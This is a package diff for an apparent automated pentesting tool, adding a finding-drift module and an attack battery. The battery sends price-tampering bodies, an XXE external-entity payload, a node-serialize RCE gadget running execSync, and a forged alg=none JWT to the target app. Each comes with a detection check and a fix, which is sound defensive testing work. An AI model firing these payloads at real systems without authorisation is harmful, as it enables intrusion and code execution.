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"}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* pen/drift.ts — compare a pen run against the previously sealed run.
|
|
3
|
+
*
|
|
4
|
+
* This is the differentiator a finder-only tool (Strix) never ships: it doesn't
|
|
5
|
+
* just report once, it remembers. OpenPitStop re-reads the last `.pitstop/
|
|
6
|
+
* pen-latest.json` and tells you, in one glance:
|
|
7
|
+
*
|
|
8
|
+
* - NEW findings → a regression introduced since the last run
|
|
9
|
+
* - RESOLVED findings → a fix that made a previous finding disappear (proof)
|
|
10
|
+
* - ESCALATIONS → a static hypothesis the live attack just confirmed
|
|
11
|
+
*
|
|
12
|
+
* `regression` is true when a NEW high/critical appeared, or a hypothesis
|
|
13
|
+
* escalated to PROVEN — exactly the signal a CI gate should fail on.
|
|
14
|
+
*/
|
|
15
|
+
import type { PenFinding, PenDrift } from "./types.js";
|
|
16
|
+
export declare function computePenDrift(prev: PenFinding[] | null, cur: PenFinding[], baselineTimestamp?: string): PenDrift;
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* pen/drift.ts — compare a pen run against the previously sealed run.
|
|
3
|
+
*
|
|
4
|
+
* This is the differentiator a finder-only tool (Strix) never ships: it doesn't
|
|
5
|
+
* just report once, it remembers. OpenPitStop re-reads the last `.pitstop/
|
|
6
|
+
* pen-latest.json` and tells you, in one glance:
|
|
7
|
+
*
|
|
8
|
+
* - NEW findings → a regression introduced since the last run
|
|
9
|
+
* - RESOLVED findings → a fix that made a previous finding disappear (proof)
|
|
10
|
+
* - ESCALATIONS → a static hypothesis the live attack just confirmed
|
|
11
|
+
*
|
|
12
|
+
* `regression` is true when a NEW high/critical appeared, or a hypothesis
|
|
13
|
+
* escalated to PROVEN — exactly the signal a CI gate should fail on.
|
|
14
|
+
*/
|
|
15
|
+
// Lower rank = more certain / more dangerous. Used to detect escalations.
|
|
16
|
+
const RANK = {
|
|
17
|
+
proven: 0,
|
|
18
|
+
indicated: 1,
|
|
19
|
+
heuristic: 2,
|
|
20
|
+
};
|
|
21
|
+
function key(f) {
|
|
22
|
+
return `${f.type}|${f.route ?? f.file ?? "?"}`;
|
|
23
|
+
}
|
|
24
|
+
function toEntry(f) {
|
|
25
|
+
return {
|
|
26
|
+
id: f.id,
|
|
27
|
+
type: f.type,
|
|
28
|
+
target: f.route ?? f.file ?? "?",
|
|
29
|
+
severity: f.severity,
|
|
30
|
+
confidence: f.confidence,
|
|
31
|
+
title: f.title,
|
|
32
|
+
};
|
|
33
|
+
}
|
|
34
|
+
export function computePenDrift(prev, cur, baselineTimestamp) {
|
|
35
|
+
if (!prev || prev.length === 0) {
|
|
36
|
+
return { new: [], resolved: [], escalations: [], regression: false };
|
|
37
|
+
}
|
|
38
|
+
const prevByKey = new Map();
|
|
39
|
+
for (const f of prev)
|
|
40
|
+
prevByKey.set(key(f), f);
|
|
41
|
+
const curByKey = new Map();
|
|
42
|
+
for (const f of cur)
|
|
43
|
+
curByKey.set(key(f), f);
|
|
44
|
+
const news = [];
|
|
45
|
+
for (const f of cur)
|
|
46
|
+
if (!prevByKey.has(key(f)))
|
|
47
|
+
news.push(toEntry(f));
|
|
48
|
+
const resolved = [];
|
|
49
|
+
for (const f of prev)
|
|
50
|
+
if (!curByKey.has(key(f)))
|
|
51
|
+
resolved.push(toEntry(f));
|
|
52
|
+
const escalations = [];
|
|
53
|
+
for (const f of cur) {
|
|
54
|
+
const p = prevByKey.get(key(f));
|
|
55
|
+
if (p && RANK[f.confidence] < RANK[p.confidence]) {
|
|
56
|
+
escalations.push({
|
|
57
|
+
id: f.id,
|
|
58
|
+
type: f.type,
|
|
59
|
+
target: f.route ?? f.file ?? "?",
|
|
60
|
+
from: p.confidence,
|
|
61
|
+
to: f.confidence,
|
|
62
|
+
});
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
const regression = news.some((e) => e.severity === "critical" || e.severity === "high") ||
|
|
66
|
+
escalations.some((e) => e.to === "proven" && e.from !== "proven");
|
|
67
|
+
return { baselineTimestamp, new: news, resolved, escalations, regression };
|
|
68
|
+
}
|
|
69
|
+
//# sourceMappingURL=drift.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"drift.js","sourceRoot":"","sources":["../../src/pen/drift.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAIH,0EAA0E;AAC1E,MAAM,IAAI,GAAkC;IAC1C,MAAM,EAAE,CAAC;IACT,SAAS,EAAE,CAAC;IACZ,SAAS,EAAE,CAAC;CACb,CAAC;AAEF,SAAS,GAAG,CAAC,CAAa;IACxB,OAAO,GAAG,CAAC,CAAC,IAAI,IAAI,CAAC,CAAC,KAAK,IAAI,CAAC,CAAC,IAAI,IAAI,GAAG,EAAE,CAAC;AACjD,CAAC;AAED,SAAS,OAAO,CAAC,CAAa;IAC5B,OAAO;QACL,EAAE,EAAE,CAAC,CAAC,EAAE;QACR,IAAI,EAAE,CAAC,CAAC,IAAI;QACZ,MAAM,EAAE,CAAC,CAAC,KAAK,IAAI,CAAC,CAAC,IAAI,IAAI,GAAG;QAChC,QAAQ,EAAE,CAAC,CAAC,QAAQ;QACpB,UAAU,EAAE,CAAC,CAAC,UAAU;QACxB,KAAK,EAAE,CAAC,CAAC,KAAK;KACf,CAAC;AACJ,CAAC;AAED,MAAM,UAAU,eAAe,CAC7B,IAAyB,EACzB,GAAiB,EACjB,iBAA0B;IAE1B,IAAI,CAAC,IAAI,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAC/B,OAAO,EAAE,GAAG,EAAE,EAAE,EAAE,QAAQ,EAAE,EAAE,EAAE,WAAW,EAAE,EAAE,EAAE,UAAU,EAAE,KAAK,EAAE,CAAC;IACvE,CAAC;IAED,MAAM,SAAS,GAAG,IAAI,GAAG,EAAsB,CAAC;IAChD,KAAK,MAAM,CAAC,IAAI,IAAI;QAAE,SAAS,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;IAC/C,MAAM,QAAQ,GAAG,IAAI,GAAG,EAAsB,CAAC;IAC/C,KAAK,MAAM,CAAC,IAAI,GAAG;QAAE,QAAQ,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;IAE7C,MAAM,IAAI,GAAoB,EAAE,CAAC;IACjC,KAAK,MAAM,CAAC,IAAI,GAAG;QAAE,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;YAAE,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC;IAEvE,MAAM,QAAQ,GAAoB,EAAE,CAAC;IACrC,KAAK,MAAM,CAAC,IAAI,IAAI;QAAE,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;YAAE,QAAQ,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC;IAE3E,MAAM,WAAW,GAAyB,EAAE,CAAC;IAC7C,KAAK,MAAM,CAAC,IAAI,GAAG,EAAE,CAAC;QACpB,MAAM,CAAC,GAAG,SAAS,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;QAChC,IAAI,CAAC,IAAI,IAAI,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,IAAI,CAAC,CAAC,CAAC,UAAU,CAAC,EAAE,CAAC;YACjD,WAAW,CAAC,IAAI,CAAC;gBACf,EAAE,EAAE,CAAC,CAAC,EAAE;gBACR,IAAI,EAAE,CAAC,CAAC,IAAI;gBACZ,MAAM,EAAE,CAAC,CAAC,KAAK,IAAI,CAAC,CAAC,IAAI,IAAI,GAAG;gBAChC,IAAI,EAAE,CAAC,CAAC,UAAU;gBAClB,EAAE,EAAE,CAAC,CAAC,UAAU;aACjB,CAAC,CAAC;QACL,CAAC;IACH,CAAC;IAED,MAAM,UAAU,GACd,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,UAAU,IAAI,CAAC,CAAC,QAAQ,KAAK,MAAM,CAAC;QACpE,WAAW,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,QAAQ,IAAI,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,CAAC;IAEpE,OAAO,EAAE,iBAAiB,EAAE,GAAG,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,UAAU,EAAE,CAAC;AAC7E,CAAC"}
|
package/dist/pen/dynamic.js
CHANGED
|
@@ -96,11 +96,22 @@ function sanitize(s) {
|
|
|
96
96
|
.trim()
|
|
97
97
|
.slice(0, 300);
|
|
98
98
|
}
|
|
99
|
-
|
|
99
|
+
function b64url(s) {
|
|
100
|
+
return Buffer.from(s, "utf8")
|
|
101
|
+
.toString("base64")
|
|
102
|
+
.replace(/\+/g, "-")
|
|
103
|
+
.replace(/\//g, "_")
|
|
104
|
+
.replace(/=+$/, "");
|
|
105
|
+
}
|
|
106
|
+
async function hit(baseUrl, method, p, body, headers) {
|
|
107
|
+
const isStr = typeof body === "string";
|
|
100
108
|
const effort = {
|
|
101
109
|
method,
|
|
102
|
-
headers:
|
|
103
|
-
|
|
110
|
+
headers: {
|
|
111
|
+
...(body !== undefined ? { "Content-Type": isStr ? "application/xml" : "application/json" } : {}),
|
|
112
|
+
...(headers ?? {}),
|
|
113
|
+
},
|
|
114
|
+
body: body !== undefined ? (isStr ? body : JSON.stringify(body)) : undefined,
|
|
104
115
|
redirect: "manual",
|
|
105
116
|
signal: AbortSignal.timeout(REQUEST_TIMEOUT_MS),
|
|
106
117
|
};
|
|
@@ -561,6 +572,122 @@ export async function runDynamic(repo, routes) {
|
|
|
561
572
|
});
|
|
562
573
|
}
|
|
563
574
|
}
|
|
575
|
+
/* ---- P1 advanced battery (gated to relevant routes) ---- */
|
|
576
|
+
const moneyRoute = /(charge|payment|order|checkout|cart|invoice|purchase|subscribe|buy)/i.test(route.path);
|
|
577
|
+
// price-tampering: only on order/payment routes.
|
|
578
|
+
if (route.method !== "GET" && moneyRoute) {
|
|
579
|
+
const tPayload = { itemId: "x", amount: "0.01", quantity: 1, price: "0.01" };
|
|
580
|
+
const tres = await hit(baseUrl, route.method, urlPath, tPayload);
|
|
581
|
+
attacks++;
|
|
582
|
+
if (tres.status < 300 && /"(?:amount|total|price)"\s*:\s*("?0\.01"?)/.test(tres.text)) {
|
|
583
|
+
pushFinding({
|
|
584
|
+
type: "price-tampering",
|
|
585
|
+
severity: "critical",
|
|
586
|
+
confidence: "indicated",
|
|
587
|
+
title: `client-supplied price accepted on ${routeLabel}`,
|
|
588
|
+
description: `POSTing amount=0.01 to ${routeLabel} returned HTTP ${tres.status} with the tampered value reflected as the order total — the server trusted the client price. An attacker can checkout at any price.`,
|
|
589
|
+
route: route.path,
|
|
590
|
+
method: route.method,
|
|
591
|
+
attack: { method: route.method, path: urlPath, payload: tPayload },
|
|
592
|
+
response: { status: tres.status, snippet: tres.snippet },
|
|
593
|
+
repro: `POST ${urlPath} with { amount: "0.01", quantity: 1 } and observe the total in the response.`,
|
|
594
|
+
fix: "Recompute amount/price/total server-side from the catalog by item id; never trust client-supplied monetary values.",
|
|
595
|
+
});
|
|
596
|
+
}
|
|
597
|
+
}
|
|
598
|
+
// XXE: only on routes that accept XML.
|
|
599
|
+
if (route.method !== "GET") {
|
|
600
|
+
const xmlProbe = await hit(baseUrl, route.method, urlPath, `<?xml version="1.0"?><root>1</root>`, {
|
|
601
|
+
"Content-Type": "application/xml",
|
|
602
|
+
});
|
|
603
|
+
attacks++;
|
|
604
|
+
if (xmlProbe.status < 400) {
|
|
605
|
+
const xxeBody = `<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "${canaryUrl}">]><root>&xxe;</root>`;
|
|
606
|
+
const pre = readOutbound(outboundPath);
|
|
607
|
+
const nextN = pre.length ? Math.max(...pre.map((o) => o.n ?? 0)) : 0;
|
|
608
|
+
const xres = await hit(baseUrl, route.method, urlPath, xxeBody, { "Content-Type": "application/xml" });
|
|
609
|
+
attacks++;
|
|
610
|
+
const inWin = readOutbound(outboundPath).filter((o) => (o.n ?? 0) > nextN);
|
|
611
|
+
const xxeSsrf = inWin.filter((o) => o.kind === "http" && o.host && o.host.includes("ssrf-canary"));
|
|
612
|
+
if (xres.status < 300 && (xres.text.includes("root:x:0:0") || xres.text.includes("[extensions]") || xres.text.includes("; for 16-bit app support"))) {
|
|
613
|
+
pushFinding({
|
|
614
|
+
type: "xxe",
|
|
615
|
+
severity: "high",
|
|
616
|
+
confidence: "proven",
|
|
617
|
+
title: `XXE file read on ${routeLabel}`,
|
|
618
|
+
description: `An XML body with an external entity made ${routeLabel} return a host file in the HTTP ${xres.status} response. That is local file disclosure via XML parsing.`,
|
|
619
|
+
route: route.path,
|
|
620
|
+
method: route.method,
|
|
621
|
+
attack: { method: route.method, path: urlPath, payload: xxeBody },
|
|
622
|
+
response: { status: xres.status, snippet: xres.snippet },
|
|
623
|
+
fix: "Disable DTDs/external entities in the XML parser (forbidUnknownContent / noEnt:false / disallowDoctype); prefer JSON.",
|
|
624
|
+
});
|
|
625
|
+
}
|
|
626
|
+
else if (xxeSsrf.length > 0) {
|
|
627
|
+
pushFinding({
|
|
628
|
+
type: "xxe",
|
|
629
|
+
severity: "high",
|
|
630
|
+
confidence: "proven",
|
|
631
|
+
title: `XXE SSRF on ${routeLabel}`,
|
|
632
|
+
description: `An XML external entity made the SERVER open a connection to ${canaryHost} (recorded by the sandbox). XXE can also read local files.`,
|
|
633
|
+
route: route.path,
|
|
634
|
+
method: route.method,
|
|
635
|
+
attack: { method: route.method, path: urlPath, payload: xxeBody },
|
|
636
|
+
response: { status: xres.status, snippet: xres.snippet },
|
|
637
|
+
outbound: xxeSsrf.slice(0, 3).map((e) => `http → ${e.host}`),
|
|
638
|
+
fix: "Disable DTDs/external entities in the XML parser; never parse attacker-controlled XML with entity resolution on.",
|
|
639
|
+
});
|
|
640
|
+
}
|
|
641
|
+
}
|
|
642
|
+
}
|
|
643
|
+
// insecure-deserialization: node-serialize gadget; proven only if a spawn canary fires.
|
|
644
|
+
if (route.method !== "GET") {
|
|
645
|
+
const gadget = JSON.stringify({
|
|
646
|
+
rce: `_$$ND_FUNC$$_function (){require('child_process').execSync('echo ${marker}')}()`,
|
|
647
|
+
});
|
|
648
|
+
const pre = readOutbound(outboundPath);
|
|
649
|
+
const nextN = pre.length ? Math.max(...pre.map((o) => o.n ?? 0)) : 0;
|
|
650
|
+
const dres = await hit(baseUrl, route.method, urlPath, { data: gadget, payload: gadget, body: gadget });
|
|
651
|
+
attacks++;
|
|
652
|
+
const inWin = readOutbound(outboundPath).filter((o) => (o.n ?? 0) > nextN);
|
|
653
|
+
const deserProof = inWin.filter((o) => o.kind === "spawn" && o.cmd && o.cmd.includes(marker));
|
|
654
|
+
if (deserProof.length > 0) {
|
|
655
|
+
pushFinding({
|
|
656
|
+
type: "insecure-deserialization",
|
|
657
|
+
severity: "critical",
|
|
658
|
+
confidence: "proven",
|
|
659
|
+
title: `insecure deserialization RCE on ${routeLabel}`,
|
|
660
|
+
description: `A node-serialize gadget in the request body made the SERVER spawn a process containing the marker (cmd: ${deserProof[0].cmd}). That is remote code execution via deserialization.`,
|
|
661
|
+
route: route.path,
|
|
662
|
+
method: route.method,
|
|
663
|
+
attack: { method: route.method, path: urlPath, payload: { data: gadget } },
|
|
664
|
+
response: { status: dres.status, snippet: dres.snippet },
|
|
665
|
+
outbound: deserProof.slice(0, 2).map((e) => `spawn: ${e.cmd}`),
|
|
666
|
+
fix: "Never deserialize untrusted input. Use JSON.parse with a strict schema (zod) and no function/reviver gadgets.",
|
|
667
|
+
});
|
|
668
|
+
}
|
|
669
|
+
}
|
|
670
|
+
// JWT alg=none / weak-secret: on auth-like routes.
|
|
671
|
+
if (route.loginLike || /(token|auth|login|session|jwt)/i.test(route.path)) {
|
|
672
|
+
const noneTok = `${b64url('{"alg":"none","typ":"JWT"}')}.${b64url('{"user":"admin","role":"admin"}')}.`;
|
|
673
|
+
const jres = await hit(baseUrl, route.method, urlPath, undefined, { Authorization: `Bearer ${noneTok}` });
|
|
674
|
+
attacks++;
|
|
675
|
+
if (jres.status < 300 && jres.status !== 401 && jres.status !== 403) {
|
|
676
|
+
pushFinding({
|
|
677
|
+
type: "jwt-weak-secret",
|
|
678
|
+
severity: "high",
|
|
679
|
+
confidence: "indicated",
|
|
680
|
+
title: `JWT accepted with alg=none on ${routeLabel}`,
|
|
681
|
+
description: `Sending a forged token signed with alg=none to ${routeLabel} returned HTTP ${jres.status} instead of 401/403. The endpoint does not enforce a signature algorithm — tokens can be forged.`,
|
|
682
|
+
route: route.path,
|
|
683
|
+
method: route.method,
|
|
684
|
+
attack: { method: route.method, path: urlPath, payload: { Authorization: `Bearer ${noneTok}` } },
|
|
685
|
+
response: { status: jres.status, snippet: jres.snippet },
|
|
686
|
+
repro: `curl -H "Authorization: Bearer ${noneTok}" ${baseUrl}${urlPath}`,
|
|
687
|
+
fix: 'Pass `{ algorithms: ["HS256"] }` to jwt.verify and use a strong secret from an env var (>= 32 random bytes).',
|
|
688
|
+
});
|
|
689
|
+
}
|
|
690
|
+
}
|
|
564
691
|
/* ---- rate-limit battery on login-like routes ---- */
|
|
565
692
|
if (route.loginLike) {
|
|
566
693
|
let seen429 = 0;
|